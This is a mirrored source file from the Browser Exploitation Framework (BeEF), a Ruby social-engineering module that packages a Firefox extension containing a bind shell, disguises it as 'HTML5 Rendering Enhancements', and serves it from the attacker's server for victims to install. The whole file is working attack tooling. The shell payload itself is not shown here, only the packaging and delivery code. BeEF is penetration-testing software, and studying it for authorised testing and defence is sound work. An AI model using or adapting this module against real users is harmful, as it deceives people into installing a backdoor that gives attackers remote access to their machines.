Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/firefox_extension_bindshell/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Firefox_extension_bindshell < BeEF::Core::Command
7
class Bind_extension < BeEF::Core::Router::Router
8
before do
9
headers 'Content-Type' => 'application/x-xpinstall',
10
'Pragma' => 'no-cache',
11
'Cache-Control' => 'no-cache',
12
'Expires' => '0'
13
end
14
15
get '/' do
16
response['Content-Type'] = 'application/x-xpinstall'
17
extension_path = settings.extension_path
18
print_info "Serving malicious Firefox Extension (Bindshell): #{extension_path}"
19
send_file extension_path.to_s,
20
type: 'application/x-xpinstall',
21
disposition: 'inline'
22
end
23
end
24
25
def pre_send
26
# gets the value configured in the module configuration by the user
27
@datastore.each do |input|
28
@extension_name = input['value'] if input['name'] == 'extension_name'
29
@xpi_name = input['value'] if input['name'] == 'xpi_name'
30
@lport = input['value'] if input['name'] == 'lport'
31
end
32
33
mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_bindshell"
34
extension_path = "#{mod_path}/extension"
35
36
# clean the build directory
37
FileUtils.rm_rf("#{extension_path}/build/.", secure: true)
38
39
# copy in the build directory necessary file, substituting placeholders
40
File.open("#{extension_path}/build/install.rdf", 'w') do |file|
41
file.puts File.read("#{extension_path}/install.rdf").gsub!('__extension_name_placeholder__', @extension_name)
42
end
43
File.open("#{extension_path}/build/bootstrap.js", 'w') { |file| file.puts File.read("#{extension_path}/bootstrap.js").gsub!('__bindshell_port_placeholder__', @lport) }
44
File.open("#{extension_path}/build/overlay.xul", 'w') { |file| file.puts File.read("#{extension_path}/overlay.xul") }
45
File.open("#{extension_path}/build/chrome.manifest", 'w') { |file| file.puts File.read("#{extension_path}/chrome.manifest") }
46
47
extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest']
48
49
# create the XPI extension container
50
xpi = "#{extension_path}/#{@xpi_name}.xpi"
51
File.delete(xpi) if File.exist?(xpi)
52
Zip::File.open(xpi, Zip::File::CREATE) do |xpi|
53
extension_content.each do |filename|
54
xpi.add(filename, "#{extension_path}/build/#{filename}")
55
end
56
end
57
58
# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition)
59
bind_extension = Firefox_extension_bindshell::Bind_extension
60
bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_bindshell/extension/#{@xpi_name}.xpi"
61
BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)
62
BeEF::Core::Server.instance.remap
63
end
64
65
def self.options
66
[
67
{ 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' },
68
{ 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' },
69
{ 'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '1337' }
70
]
71
end
72
73
def post_execute
74
save({ 'result' => @datastore['result'] })
75
end
76
end
77
78